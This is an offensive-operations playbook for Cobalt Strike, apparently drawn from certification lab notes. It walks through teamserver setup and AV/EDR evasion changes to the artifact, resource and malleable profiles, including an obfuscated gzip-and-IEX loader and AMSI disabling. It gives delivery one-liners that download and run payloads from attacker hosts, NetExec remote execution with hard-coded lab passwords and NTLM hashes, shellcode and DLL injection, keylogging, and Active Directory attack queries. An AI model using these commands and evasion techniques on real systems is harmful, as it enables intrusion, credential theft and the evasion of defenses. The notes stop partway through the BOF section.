

CRTP Cobalt Strike Professional Playbook

Organized notes generated from the uploaded workbook

Scope note

This playbook reformats the uploaded CRTP Cobalt worksheet into a cleaner field-reference document. Commands and command-like artifacts are rendered as shaded code blocks. Hard-coded lab values from the source workbook are preserved as-is, so treat this PDF as sensitive.

Table of Contents

How to Use This Playbook	7
Setup And Quick Things	7
Setup	7
Starting server	7
Script Manager	10
listeners	11
http	11
tcp	11
tcp-local	11
References	11
CS Delivery	11
Scripted Web Delivery	11
NetExec Scripted Web Delivery	11
NetExec Upload & Run	12
Boosted Beacon -> PE Generator (not work)	12
Boosted --> PE gen (dll) (not worked?)	12
Built-in Features	12
Beacon Right-Clicks	12
Downloads server	13
Built-in Commands	13
CS Housekeeping	14
Change spawnto behaviour	14
CS Execution	14
Session Passing	14
Command & Payload Execution	14
Shellcode Injection Options	15

Donut Shellcode Injection workflow	15
BOF Execution	15
DLL Injection workflow	15
PS Injection	16
PowerSharpPack	16
CS Bloodhound	16
LDAPSearch get all data for logs	17
CS LDAP Queries	17
CS BOF	22
BOFs	22
CS Pivoting	35
Socks5	35
CS Enumeration	35
BOF	35
Enumeration Options	35
Sharpview	36
ADRecon	36
CS Shares	37
General	37
PowerHuntShares	37
sharpshares	38
snaffler	38
CS DACL	38
General	38
CS GPO	38
General	39
SharpGPOAbuse.exe	39

CS PrivEsc	39
General	39
Modifiable service	39
CS lateral movement	40
General	40
New Beacons	40
ScShell	40
remote-exec wmi	40
session -> TCP p2p pivot	41
session -> TCP p2p pivot + AV Exclusion	41
Other methods for pivot beacon	42
CS Security	43
General	43
Firewall	43
Defender	43
Defender - WinRM session	44
CS Network	44
HTTP -> LDAP (clickable)	44
Cobalt NTLM Relay	45
CS Creds	46
ticket BOFs	46
CS Ticket Forging	63
General	63
ticket BOFs	63
DCsync	63
Golden ticket	63
Silver Ticket - WinRM	64
Silver ticket - WMI	64

Diamond Ticket	65
CS Persistence	65
domain persistence - DSRM	65
domain persistence - dcsync	66
CS Kerberos General	66
General	66
ticket BOFs	67
Kerberoast	67
CS Delegation	67
Unconstrained Delegation	67
Constrained Delegation User	68
Constrained -> EvilWinRM	69
Constrained Delegation PC	70
Constrained -> DCSync	71
GenericWrite -> PC -> RBCD (not worked)	72
GenericWrite -> PC -> RBCD (uses jumpbox) (worked)	73
CS Trusts	75
Child -> Parent inter-realm SIDHistory Silver	75
SID of Enterprise Admins of parent domain	76
Child -> Parent krbtgt + ExtraSIDs Golden	78
inter-realm referral ticket	79
CS ADCS	80
General	80
ESC1	80
ESC3	82
Overview	82
MSSQL	83

Discovery and enumeration of SQL servers 83

Links 84

Appendix: Source and Handling Notes 86

How to Use This Playbook

Work through each section in order when you want a structured reference, or use the table of contents to jump directly to a technique area. The content was normalized from the original spreadsheet layout, where columns A/B, C/D, and E/F were used as side-by-side note/command pairs.

Conventions: commands, payload paths, LDAP filters, SQL statements, ticket blobs, and Cobalt Strike console input appear in code blocks. Plain-language reminders, requirements, and UI actions appear as notes.

Setup And Quick Things

Initial Cobalt Strike setup notes, server startup, malleable profile changes, kit references, listeners, and launch checklist items.

Setup

Starting server

Start server

Source row 5 - columns A/B

```
sudo bash teamserver 172.16.99.52 PassPass123  
/home/kali/Tools/cobaltstrike/profiles/default.profile
```

CRTO Evasive Modifications

Modify Artifact Kit

Modify Resource Kit

Defense Evasion - Practical

Launch Visual Studio Code.

launch Ubuntu WSL

Modify Malleable C2

Go to File > Open Folder and select C:\Tools\cobaltstrike\arsenal-kit\kits\artifact.

Change the working directory.

Source row 10 - columns E/F

```
cd /home/kali/Tools/cobaltstrike/arsenal-kit/kits/resource
```

Get the default profile

Source row 11 - columns A/B

Context: - git hub if its ready
- CRTO or CSOC

```
cd /home/kali/Tools/cobaltstrike/profiles
```

Navigate to src-common and open patch.c.

Source row 11 - columns C/D

```
cd /home/kali/Tools/cobaltstrike/arsenal-kit/kits/artifact/src-common
```

Run build.sh to copy the resource templates.

Source row 11 - columns E/F

```
./build.sh /home/kali/Tools/cobaltstrike/custom-resources
```

Open default.profile in a text editor (e.g. vim or nano).

Source row 12 - columns A/B

```
nano default.profile
```

Scroll to line ~45 and modify the for loop. This is for the svc exe payloads.

Source row 12 - columns C/D

Notes: x = length;
 while (x--) {
 * ((char *) buffer + x) = * ((char *) buffer + x) ^ key [x % 8];
 }

go to produced files

Source row 12 - columns E/F

```
cd /home/kali/Tools/cobaltstrike/custom-resources
```

stage block:

Source row 13 - columns A/B

Notes: stage {
 set userwx "false";
 set cleanup "true";
 set copy_pe_header "false";
 set module_x64 "Hydrogen.dll";

transform-x64 {
 strep "beacon.x64.dll" "bacon.x64.dll";
 strep "%02d/%02d/%02d" "%02d/%02d/%04d";
 strep "%s as %s\\\\"%s: %d" "%s - %s\\\\"%s: %d";
 strep "%02d/%02d/%02d %02d:%02d:%02d" "%02d-%02d-%02d %02d:%02d:%02d";
 strep "\x48\x89\x5C\x24\x08\x57\x48\x83\xEC\x20\x48\x8B\x59\x10\x48\x8B\xF9\x48\x8B\x49\x08\xFF\x17\x33\xD2\x41\xB8\x00\x80\x00\x00" "\x48\x89\x5C\x24\x08\x57\x48\x83\xEC\x20\x48\x8B\x59\x10\x48\x8B\xF9\x48\x8B\x49\x08\xFF\x17\x33\xD2\x41\xB8\x01\x80\x00\x00";
 }
 }

Scroll to line ~116 and modify the other for loop. This is for the normal exe payloads.

Source row 13 - columns C/D

Notes: int x = length;
 while (x--) {
 * ((char *) ptr + x) = * ((char *) buffer + x) ^ key [x % 8];
 }

template.x64.ps1

Source row 13 - columns E/F

Scroll to line 5 and replace .Equals('System.dll') with .Equals('Sys'+tem.dll').
 .Equals('System.dll')
 .Equals('Sys'+tem.dll').

Scroll to line 32 and replace it with:
 \$var_wpm = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get
 _proc_address kernel32.dll WriteProcessMemory), (func_get_delegate_type @([IntPtr],
 [IntPtr], [Byte[]], [UInt32], [IntPtr]) ([Bool])))
 \$ok = \$var_wpm.Invoke([IntPtr]::New(-1), \$var_buffer, \$v_code, \$v_code.Count,
 [IntPtr]::Zero)

post-ex block:

Source row 14 - columns A/B

Notes: post-ex {
 set spawn_to_x64 "%windir%\\\sysnative\\svchost.exe";
 set cleanup "true";
 set pipename "dotnet-diagnostic-#####, #####-#####-#####-#####-#####";
 set thread_hint "ntdll.dll!RtlUserThreadStart+0x2c";
 set amsi_disable "true";
 set smartinject "true";

transform-x64 {
 strep "This program cannot be run in DOS mode." "This is totally not a PE.";


```

strepx "PowerPick" "CLRCreateInstance failed w/hr 0x%08lx" "CLRCreateInstance failed: 0x%08lx";
strepx "PowerPick" "Failed to get default AppDomain w/hr 0x%08lx" "Failed to get default AppDomain: 0x%08lx";
strepx "ExecuteAssembly" "Invoke_3 on EntryPoint failed." "Unhandled exception.";
strepx "ExecuteAssembly" "Failed to load the assembly w/hr 0x%08lx" "Failed to load the assembly: 0x%08lx";
}
}

```

On the Windows taskbar, right-click on the Terminal icon and launch Ubuntu WSL.

compress.ps1

Source row 14 - columns F/E

```

Use Invoke-Obfuscation to create a unique obfuscated version, or try the following:
SET-Item Variable:WyzE ([type]('conVE'+Rt')) ; set-variable 0eXs (
[Type]('io.'+'Comp'+Re'+S'+SiON.C'+oM'+P'+ResSiONM'+oDE')) ; ${s}=nEW-o`Bj`eCt
IO.`MemO`Ry`St`REAM(, (Variable WyzE -val)::"FR`omB`AsE64s`TrIng"("%%DATA%"));i`EX
(ne`w-`o`BJEct i`o.sTr`EAmRe`ADEr(NEw-`o`BjE`CT IO.CO`mPRessI`oN.`gzI`pS`Tream(${s}, (
vARiable 0eXs).vAlUE::"Dec`om`Press"))).RE`AdT`oEnd"());

```

process-inject block:

Source row 15 - columns A/B

```

Notes: process-inject {
execute {
NtQueueApcThread-s;
NtQueueApcThread;
SetThreadContext;
RtlCreateUserThread;
CreateThread;
}
}

```

Task Size modify

Source row 16 - columns A/B

Notes: set tasks_max_size "2097152";

Change the working directory.

Source row 16 - columns C/D

```
cd /mnt/c/Tools/cobaltstrike/arsenal-kit/kits/artifact
```

Overall guide

Save the changes.

Notes: - and restart server if started

Run build.sh to build the new artifacts.

Source row 17 - columns C/D

Context: (must confirm with lab if correct)

```

./build.sh mailslot VirtualAlloc 344564 0 false false none
/mnt/c/Tools/cobaltstrike/custom-artifacts
./build.sh mailslot VirtualAlloc 382437 0 false false none
/mnt/c/Tools/cobaltstrike/custom-artifacts

```

1. Change malleable profile

Source row 17 - columns E/F

Notes: - stage & post-ex blocks
- pipe name ?

Restart the team server.

Source row 18 - columns A/R

```
sudo /usr/bin/docker restart cobaltstrike-cs-1
```

Load the Aggressor Script.

Source row 18 - columns C/D

Notes: Open the Cobalt Strike client.
Go to Cobalt Strike > Script Manager.
Click Load.
Navigate to C:\Tools\cobaltstrike\custom-artifacts\mailslot and select artifact.cna.

2. modify kits

Source row 18 - columns E/F

Notes: - artifact kit
- resource kit

Check the container logs to ensure there are no profile errors.

Source row 19 - columns A/B

```
sudo /usr/bin/docker logs cobaltstrike-cs-1
sudo /usr/bin/docker restart cobalt
```

Command

Source row 19 - columns C/D

Notes: 382437

3. pre-commands

Source row 19 - columns E/F

Notes: - ak-settings before lat movement
- spawn to before post-ex
- check if app locker GPO before lateral movement

4. Rules

Source row 20 - columns E/F

Notes: - use domain names not IPs
- Use Scshell for lateral movement

5. New Beacon rules

Source row 21 - columns E/F

Notes: - Check CLM

Script Manager

elevate kit

Source row 25 - columns A/B

```
https://github.com/cobalt-strike/ElevateKit
~\Tools\cobaltstrike\arsenal-kit\kits\elevate\elevate.cna
```

CS-Situational-Awareness-BOF

Source row 26 - columns A/B

```
https://github.com/trustedsec/CS-Situational-Awareness-BOF
~\Tools\CS-Situational-Awareness-BOF\SA\SA.cna
```

CS-Remote-OPs-BOF

Source row 27 - columns A/B

Context: (remote.cna + injection.cna)

```
https://github.com/trustedsec/CS-Remote-OPs-BOF.git
~\Tools\CS-Remote-OPs-BOF\Remote\Remote.cna
```

Command

Source row 28 - columns A/B

```
SQL-BOF
https://github.com/Tw1sm/SQL-BOF.git
~\Tools\SQL-BOF\SQL\SQL.cna
```

Command

Source row 29 - columns A/B

```
PortBender BOF
https://github.com/praetorian-inc/PortBender/releases/tag/v1.0.0
/home/kali/Tools/PortBender/static
```

CredPack

Source row 30 - columns A/B

```
/home/kali/Tools/CredPack
```

Kerberos-BOF

Source row 31 - columns A/B

```
C:\Tools\Kerberos-BOF\kerberos_cs.cna
```

SCshellCS-BOF

Source row 32 - columns A/B

```
C:\Tools\SCshellCS-BOF\scshell.cna
```

listeners

http

smb

Source row 36 - columns A/B

Notes: TSVCPPIPE-81180acb-0512-44d7-81fd-fbfea25fff10

tcp

tcp-local

References

OST Long vids

Source row 41 - columns A/B

```
https://AAAAAA.us.outflank.platform.fortra.com/docs/kb/tech_deep_dives/tech_deep_dives
```

Command

Source row 47 - columns C/D

```
xfreerdp3 /v:10.129.41.254 /u:alpha /p:FGQxrLW2 /dynamic-resolution
/drive:kali,/home/kali/Labs/Outflank_c2_testing
xfreerdp3 /v:10.129.41.59 /u:alpha /p:FGQxrLW2 /d:INLANEFREIGHT.HTB /dynamic-resolution
/drive:kali,/home/kali/Labs/
```

CS Delivery

Payload delivery patterns, upload-and-run workflows, and alternate delivery attempts captured from the lab notes.

Scripted Web Delivery

Built-in attack

Source row 50 - columns A/B

```
powershell.exe -nop -w hidden -c "IEX ((new-object
net.webclient).downloadstring('http://10.10.14.194:80/a'))"
```

NetExec Scripted Web Delivery

Didnt work

Source row 53 - columns A/B

```
nxc smb 172.16.100.52 -u student352 -p 'fX8edFVEFmns0NS02cbR' --exec-method winrm -X "IEX
((new-object net.webclient).downloadstring('http://172.16.99.52:80/a'))"
```

```
nxc smb 172.16.4.101 -d DCORP -u student352 -H 8b62bda8b692dd2402da9d95529aab7a -x whoami
nxc smb 172.16.100.52 -d DCORP -u student352 -H 8b62bda8b692dd2402da9d95529aab7a
--exec-method winrm -X "powershell -nop -w hidden -enc aQB1AHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBja
HQAIABuAGUAdAAuAHcAZQBjAGMabABpAGUAbgB0ACKALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAd
AB0AHAAOgAvAC8AMQA3ADIALgAxADYALgA5ADkALgA1ADIALwBHACIAKQA="
```

NetExec Upload & Run

Command

Source row 56 - columns A/B

```
Upload Beacon
nxc smb 10.129.204.178 -u grace -p Inlanefreight01! --put-file
"/home/kali/Payloads/http_x64.ps1" "IT/http_x64.ps1"
```

Remote run beacon

Source row 57 - columns A/B

```
nxc smb 10.129.204.178 -u grace -p Inlanefreight01! --exec-method wmiexec -X 'powershell
-ExecutionPolicy Bypass -File "\\10.129.204.178\IT\http_x64.ps1"
```

JunkShell Delivery

Source row 59 - columns A/B

Notes: (not work)

convert raw shellcode to ps1

Source row 60 - columns A/B

```
python3 /home/kali/Tools/junkshell/junkshell.py -s /home/kali/Payloads/http_x64.xthread.bin
-o junkshell.ps1
```

Start server

Source row 61 - columns A/B

```
python3 -m http.server 8000
```

Download

Source row 62 - columns A/B

```
iex (New-Object Net.WebClient).DownloadString('http://10.10.14.194:8000/junkshell.ps1')
```

Boosted Beacon -> PE Generator (not work)

Boosted --> PE gen (dll) (not worked?)

Command

Source row 67 - columns A/B

```
\Windows\System32\odbcconf.exe MyEvilDLL.dll, DLLUn load
\Windows\System32\regsvr32.exe test.dll, DLLUnload
```

Built-in Features

Core Beacon interface actions and built-in command reminders.

Beacon Right-Clicks

Interact

Source row 72 - columns A/B

Notes: - Opens terminal tab

Sleep

Source row 73 - columns A/B

Notes: - Set sleep
sleep 0

Note

Source row 74 - columns A/B

Notes: - Set a note

Access

Source row 75 - columns A/B

Dump Hashes
Elevate
Golden Ticket
Make Token
One-Liner
Run Mimikatz
Spawn
Spawn As

Explore

Source row 76 - columns A/B

Browser Pivot
Desktop VNC
File Browser
Net View
Port Scan
Process List (browser)
Screenshot

Pivoting

Source row 77 - columns A/B

SOCKS server
Listener
Deploy VPN

Session

Source row 78 - columns A/B

Notes: Colour
Remove
Exit

Downloads server

View > Downloads

Source row 81 - columns A/B

download C:\Users\pchilds\Desktop\desktop.ini

Built-in Commands

List active jobs

Source row 84 - columns A/B

jobs

Kill job

Source row 85 - columns A/B

jobkill 0

List processes

Source row 86 - columns A/B

ps

Command

Source row 87 - columns A/B

keylogger
keylogger [pid] [x86|x64]

Get clipboard

Source row 88 - columns A/B

```
clipboard
```

CS Housekeeping

Operator hygiene reminders for spawnto, Artifact Kit options, and session behavior before running post-exploitation actions.

Change spawnto behaviour

Command

Source row 93 - columns A/B

```
spawnto
- spawnto before post-ex
spawnto x64 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
```

Command

Source row 94 - columns A/B

```
ak-settings
- ak-settings before lat movement
ak-settings spawnto_x64 C:\Windows\System32\svchost.exe
ak-settings spawnto_x64 C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
```

CS Execution

Execution options for commands, assemblies, shellcode, BOFs, DLLs, and PowerShell workflows.

Session Passing

New Beacon

Source row 99 - columns A/B

```
spawn x64 dns
```

New beacon as new user

Source row 100 - columns A/B

```
spawnas CONTOSO\rsteel Passw0rd! tcp-local
```

Command & Payload Execution

cmd.exe

Source row 103 - columns A/B

```
shell whoami /user
```

Command

Source row 104 - columns A/B

```
powershell.exe
powershell $env:computername
```

unmanaged powershell

Source row 105 - columns A/B

```
powerpick $env:computername
```

.NET assembly in memory

Source row 106 - columns A/B

```
execute-assembly C:\Tools\Seatbelt\Seatbelt\bin\Release\Seatbelt.exe AntiVirus
```

Run a BOF

Source row 107 - columns A/B

Notes: ipconfig

Shellcode Injection Options

Command

Source row 110 - columns A/R

```
Inject into a process
shinject [pid] <x86|x64> [/path/to/my.bin]
shinject 6016 x64 /home/kali/Payloads/http_x64.xthread.bin
```

Command

Source row 111 - columns A/R

```
Inject beacon shellcode
shinject 6016 x64 /home/kali/Payloads/http_x64.xthread.bin
```

Command

Source row 112 - columns A/R

```
Spawn and inject
- spawns specified spawnto_x64 value in the post-ex mal-c2 block
shspawn <x86|x64> [/path/to/my.bin]
```

Command

Source row 113 - columns A/R

```
Spawn and inject beacon shellcode
(not worked)
shspawn x64 /home/kali/Payloads/http_x64.xthread.bin
```

Command

Source row 114 - columns A/R

```
Inject beacon RDLL shellcode
(WORK)
inject [pid] <x86|x64> [listener]
inject 6016 x64 http
```

Donut Shellcode Injection workflow

1. create Donut shellcode

Source row 117 - columns A/R

```
donut -i http.exe -o http.bin -f 1 -a 2 -e 1 -z 1 -b 1
```

2. create process

Source row 118 - columns A/B

Context: (optional?)

```
shell C:\Windows\System32\notepad.exe
```

3. inject into process

Source row 119 - columns A/R

```
<injection type> /home/kali/Labs/Sliver0/http.bin
```

BOF Execution

Inline BOF

Source row 122 - columns A/B

Context: -BOF-based extension point for this area. It says Cobalt Strike 4.5 supports user-defined process injection through PROCESS_INJECT_SPAWN and PROCESS_INJECT_EXPLICIT

```
inline-execute [/path/to/file.o] [args]
```

DLL Injection workflow

Create DLL option

Source row 125 - columns A/B

Notes: - find way to quickly make DLL

Command

Source row 126 - columns A/B

```
Inject DLL  
dllinject [pid] [/path/to/my.dll]
```

PS Injection

Command

Source row 129 - columns A/B

```
psinject  
psinject [pid] [arch] [commandlet] [arguments]
```

PowerSharpPack

PowerSharpPack

Source row 132 - columns A/B

Context: - doesn't work (max task size not changing)

```
powershell-import /home/kali/Tools/PowerSharpPack/PowerSharpPack.ps1
```

CS Bloodhound

Collection and import workflow notes for BloodHound, SharpHound, BOFHound, and supporting setup commands.

BOFHound

Source row 136 - columns A/B

```
BOFHound
```

Bloodhound on Kali

SharpHound

Important Note

Source row 137 - columns A/B

Notes: - Did not show local admin access
- SharpHound does show it

Get binary

Source row 137 - columns C/D

```
wget https://github.com/Specter0ps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
```

Execute-binary

Source row 137 - columns E/F

Context: (doesn't work)

```
execute-assembly /home/kali/Tools/BloodHound/SharpHound.exe
```

Resources

Source row 138 - columns A/B

```
https://pypi.org/project/bofhound/
```

Unpack

Source row 138 - columns C/D

```
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
```

1. Upload SharpHound

Source row 138 - columns E/F

```
upload /home/kali/Tools/BloodHound/SharpHound.exe
```

setup bofhound env

Source row 139 - columns A/B

```
mkdir -p ~/venvs
python3 -m venv ~/venvs/bofhound
source ~/venvs/bofhound/bin/activate
python -m pip install --upgrade pip setuptools wheel
pip install bofhound
bofhound --help
```

Start & get pass

Source row 139 - columns C/D

```
./bloodhound-cli install
```

2. `run` sharphoundn

Source row 139 - columns E/F

```
run SharpHound.exe
```

Clear logs before running ldapsearch

Source row 140 - columns A/B

```
/home/kali/Tools/cobaltstrike/server/logs
```

Get pass

Source row 140 - columns C/D

```
bloodhound-cli config get default_password
```

3. Download zip

Source row 140 - columns E/F

```
download 20260519132453_BloodHound.zip
```

Run

Source row 141 - columns A/B

Context: - use correct log location

```
source ~/venvs/bofhound/bin/activate
bofhound -i /home/kali/Tools/cobaltstrike/server/logs/260518 -o CRTP_BH --zip
```

Reset Pass

Source row 141 - columns C/D

```
./bloodhound-cli resetpwd
```

4. Download from Downloads

Source row 141 - columns E/F

Notes: View -> Downloads -> Sync -> select folder

Portal

Source row 142 - columns C/D

```
./bloodhound-cli
http://127.0.0.1:8080/ui/login
```

LDAPSearch get all data for logs

A quick full-object LDAP collection command used to enrich logs and enumeration output.

Get all data command

Source row 146 - columns A/B

```
ldapsearch (objectclass=*) --attributes *,ntsecuritydescriptor
```

CS LDAP Queries

LDAP query cheat sheets for domain, ACL, user, computer, OU, GPO, delegation, and account-risk enumeration.

LDAP Domain

LDAP ACL

LDAP Users

Domain Info

Source row 154 - columns A/B

```
ldapsearch (objectClass=domainDNS) --attributes *
```

Objects with ACE delegations

Source row 154 - columns C/D

```
ldapsearch (ntSecurityDescriptor=*) --attributes distinguishedName,ntSecurityDescriptor
```

All Domain Users

Source row 154 - columns E/E

```
ldapsearch (&(objectCategory=person)(objectClass=user)) --attributes name,samAccountName
```

FSMO Roles

Source row 155 - columns A/B

```
ldapsearch (fsmoRoleOwner=*) --attributes fsmoRoleOwner
```

LAPS Password readable locations

Source row 155 - columns C/D

```
ldapsearch (ms-Mcs-AdmPwd=*) --attributes ms-Mcs-AdmPwd
```

Enabled Users

Source row 155 - columns E/E

```
ldapsearch (&(objectCategory=person)(objectClass=user)!(userAccountControl:1.2.840.113556.1.4.803:=2))) --attributes name
```

Domain Password Policy

Source row 156 - columns A/B

```
ldapsearch (objectClass=domainDNS) --attributes maxPwdAge,minPwdLength,pwdHistoryLength
```

Users with WriteDACL on domain

Source row 156 - columns C/D

```
ldapsearch (
```

Disabled Users

Source row 156 - columns E/E

```
ldapsearch (&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2)) --attributes name
```

Trusts

Source row 157 - columns A/B

```
ldapsearch (objectClass=trustedDomain) --attributes name,trustPartner,trustAttributes
```

Computers with WriteSPN risk

Source row 157 - columns C/D

```
ldapsearch (&(objectCategory=computer)(servicePrincipalName=*)) --attributes name
```

Locked-Out Users

Source row 157 - columns E/E

```
ldapsearch (lockoutTime>=1) --attributes name
```

External Trusts

Source row 158 - columns A/B

```
ldapsearch (&(objectClass=trustedDomain)(trustAttributes=8)) --attributes name,trustPartner
```

Objects Writable by Authenticated Users

Source row 158 - columns C/D

```
ldapsearch (|(writeProperty=*)(writeOwner=*)(writeDacl=*)(writeMember=*)) --attributes distinguishedName
```

Password Never Expires

Source row 158 - columns F/E

```
ldapsearch (userAccountControl:1.2.840.113556.1.4.803:=65536) --attributes name
```

Forest Trusts

Source row 159 - columns A/R

```
ldapsearch (&(objectClass=trustedDomain)(trustAttributes=32)) --attributes name,trustPartner
```

Password Not Required

Source row 159 - columns F/E

```
ldapsearch (userAccountControl:1.2.840.113556.1.4.803:=32) --attributes name
```

Users with Description Field Set (passwords often here)

Source row 160 - columns F/E

```
ldapsearch (&(objectCategory=person)(objectClass=user)(description=*)) --attributes  
samAccountName,description
```

LDAP Groups

LDAP PC

AdminCount = 1 (Protected Admins)

Source row 161 - columns F/E

```
ldapsearch (&(samAccountType=805306368)(adminCount=1)) --attributes name,memberof
```

All Groups

Source row 162 - columns A/R

```
ldapsearch (objectClass=group) --attributes name
```

All Computers

Source row 162 - columns C/D

```
ldapsearch (objectCategory=computer) --attributes name,operatingSystem
```

AS-REP Roastable Users

Source row 162 - columns F/E

```
ldapsearch (&(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(userAccount  
Control:1.2.840.113556.1.4.803:=4194304)) --attributes samAccountName
```

Domain Admins Members

Source row 163 - columns A/R

```
ldapsearch (&(objectClass=group)(cn=Domain Admins)) --attributes member
```

Domain Controllers

Source row 163 - columns C/D

```
ldapsearch (&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))  
--attributes name,dNSHostName
```

Users with SPNs (Kerberoastable)

Source row 163 - columns F/E

```
ldapsearch (&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(us  
erAccountControl:1.2.840.113556.1.4.803:=2))) --attributes  
samAccountName,servicePrincipalName
```

Enterprise Admins Members

Source row 164 - columns A/R

```
ldapsearch (&(objectClass=group)(cn=Enterprise Admins)) --attributes member
```

Servers (by OS)

Source row 164 - columns C/D

```
ldapsearch (&(objectCategory=computer)(operatingSystem=Server)) --attributes  
name,operatingSystem
```

Unconstrained Delegation Users

Source row 164 - columns E/F

```
ldapsearch (userAccountControl:1.2.840.113556.1.4.803:=524288) --attributes samAccountName,servicePrincipalName
```

Built-in Administrators Members

Source row 165 - columns A/B

```
ldapsearch (&(objectClass=group)(cn=Administrators)) --attributes member
```

Workstations

Source row 165 - columns C/D

```
ldapsearch (&(objectCategory=computer)(operatingSystem=Windows 10)) --attributes name
```

Constrained Delegation Users

Source row 165 - columns E/F

```
ldapsearch (msDS-AllowedToDelegateTo=*) --attributes samAccountName,msDS-AllowedToDelegateTo
```

Nested Group Lookup (1.2.840...)

Source row 166 - columns A/B

```
ldapsearch (member:1.2.840.113556.1.4.1941:=<DN>) --attributes name
```

Unconstrained Delegation Computers

Source row 166 - columns C/D

```
ldapsearch (userAccountControl:1.2.840.113556.1.4.803:=524288) --attributes name,servicePrincipalName
```

Users Trusted to Authenticate for Delegation (S4U2Self)

Source row 166 - columns E/F

```
ldapsearch (msDS-AllowedToActOnBehalfOfOtherIdentity=*) --attributes samAccountName,msDS-AllowedToActOnBehalfOfOtherIdentity
```

Empty Groups

Source row 167 - columns A/B

```
ldapsearch (&(objectClass=group)(!(member=*)) --attributes name
```

Constrained Delegation Computers

Source row 167 - columns C/D

```
ldapsearch (msDS-AllowedToDelegateTo=*) --attributes name,msDS-AllowedToDelegateTo
```

Users with SID History

Source row 167 - columns E/F

```
ldapsearch (sIDHistory=*) --attributes samAccountName,sIDHistory
```

Groups with AdminCount=1 Members

Source row 168 - columns A/B

```
ldapsearch (&(objectClass=group)(adminCount=1)) --attributes name,member
```

RBCD Vulnerable Computers

Source row 168 - columns C/D

```
ldapsearch (msDS-AllowedToActOnBehalfOfOtherIdentity=*) --attributes name
```

Users with home directories

Source row 168 - columns E/F

```
ldapsearch (homeDirectory=*) --attributes samAccountName,homeDirectory
```

Computers with SPNs

Source row 169 - columns C/D

```
ldapsearch (&(objectCategory=computer)(servicePrincipalName=*)) --attributes name,servicePrincipalName
```

Accounts with reversible passwords

Source row 169 - columns E/F

```
ldapsearch (userAccountControl:1.2.840.113556.1.4.803:=128) --attributes samAccountName
```

Computers without SMB Signing

Source row 170 - columns C/D

```
ldapsearch (&(objectClass=computer)(!(msDS-SupportedEncryptionTypes=*)) --attributes name
```

Users with delegated logon rights

Source row 170 - columns E/F

```
ldapsearch (msDS-LogonTimeSyncInterval=*) --attributes name
```

LDAP OU

LDAP GPO

All OUs

Source row 173 - columns A/R

```
ldapsearch (objectClass=organizationalUnit) --attributes name,distinguishedName
```

All GPOs

Source row 173 - columns C/D

```
ldapsearch (objectClass=groupPolicyContainer) --attributes displayName,versionNumber
```

OUs with Delegation

Source row 174 - columns A/R

```
ldapsearch (gLLink=*) --attributes name,gLLink
```

GPOs linked to OUs

Source row 174 - columns C/D

```
ldapsearch (&(objectClass=organizationalUnit)(gLLink=*)) --attributes gLLink
```

OUs with Blocked Inheritance

Source row 175 - columns A/R

```
ldapsearch (gPOptions=1) --attributes name
```

GPOs with scripts

Source row 175 - columns C/D

```
ldapsearch (scriptPath=*) --attributes scriptPath
```

OUs with computers only

Source row 176 - columns A/R

```
ldapsearch (&(objectClass=organizationalUnit)(!(objectClass=user))) --attributes distinguishedName
```

GPOs with Restricted Groups

Source row 176 - columns C/D

```
ldapsearch (gPCMachineExtensionNames=Restricted) --attributes displayName
```

OUs With Linked GPOs

Source row 177 - columns A/R

```
ldapsearch (&(objectClass=organizationalUnit)(gLLink=*)) --attributes name,gLLink
```

GPOs With Logon Scripts

Source row 177 - columns C/D

```
ldapsearch (&(objectClass=groupPolicyContainer)(scriptPath=*)) --attributes displayName,scriptPath
```

OUs With Blocked GPO Inheritance

Source row 178 - columns A/R

```
ldapsearch (&(objectClass=organizationalUnit)(gPOptions=1)) --attributes name
```

GPOs With Restricted Groups

Source row 178 - columns C/D

```
ldapsearch (&(objectClass=groupPolicyContainer)(gPCMachineExtensionNames=Restricted))  
--attributes displayName
```

OUs that Delegate Rights to Non-Admins

Source row 179 - columns A/R

```
ldapsearch (&(objectClass=organizationalUnit)(managedBy=*)) --attributes name,managedBy
```

GPOs Containing Preferences Passwords (GPP vuln)

Source row 179 - columns C/D

```
ldapsearch (&(objectClass=groupPolicyContainer)(gPCMachineExtensionNames=Preferences))  
--attributes displayName,gPCFileSysPath
```

OUs That Contain Privileged Users

Source row 180 - columns A/R

```
ldapsearch (&(objectClass=organizationalUnit)(adminCount=1)) --attributes name
```

GPOs That Modify Local Admins

Source row 180 - columns C/D

```
ldapsearch (&(objectClass=groupPolicyContainer)(gPCMachineExtensionNames=GroupMembership))  
--attributes displayName
```

CS BOF

BOF references and built-in BOF capability notes for enumeration, network, registry, service, SQL, and credential operations.

BOFs

elevate kit

Source row 185 - columns A/R

```
https://github.com/cobalt-strike/ElevateKit  
/home/kali/Tools/ElevateKit
```

CS-Situational-Awareness-BOF

Source row 186 - columns A/R

```
https://github.com/trustedsec/CS-Situational-Awareness-BOF  
~\Tools\CS-Situational-Awareness-BOF\SA\SA.cna
```

CS-Remote-OPs-BOF

Source row 187 - columns A/B

Context: (remote.cna + injection.cna)

```
https://github.com/trustedsec/CS-Remote-OPs-BOF.git  
~\Tools\CS-Remote-OPs-BOF\Remote\Remote.cna
```

Command

Source row 188 - columns A/R

```
SQL-BOF  
https://github.com/Tw1sm/SQL-BOF.git  
~\Tools\SQL-BOF\SQL\SQL.cna
```

Command

Source row 189 - columns A/R

```
PortBender BOF  
https://github.com/praetorian-inc/PortBender/releases/tag/v1.0.0  
/home/kali/Tools/PortBender/static
```

CredPack

Source row 190 - columns A/R

```
/home/kali/Tools/CredPack
```

CS-BOF

Source row 191 - columns A/R

```
https://github.com/Mr-Un1k0d3r/SCShell/tree/master/CS-BOF  
/home/kali/Tools/SCShell/CS-BOF/scshell.cna
```

Kerberos-BOF

Source row 192 - columns A/B

```
C:\Tools\Kerberos-B0F\kerberos_cs.cna
```

SCshellCS-B0F

Source row 193 - columns A/B

```
C:\Tools\SCshellCS-B0F\scshell.cna
```

Built-In BOFs

ADCS BOFs

AD Enum BOFs

beacon_info

Source row 196 - columns A/B

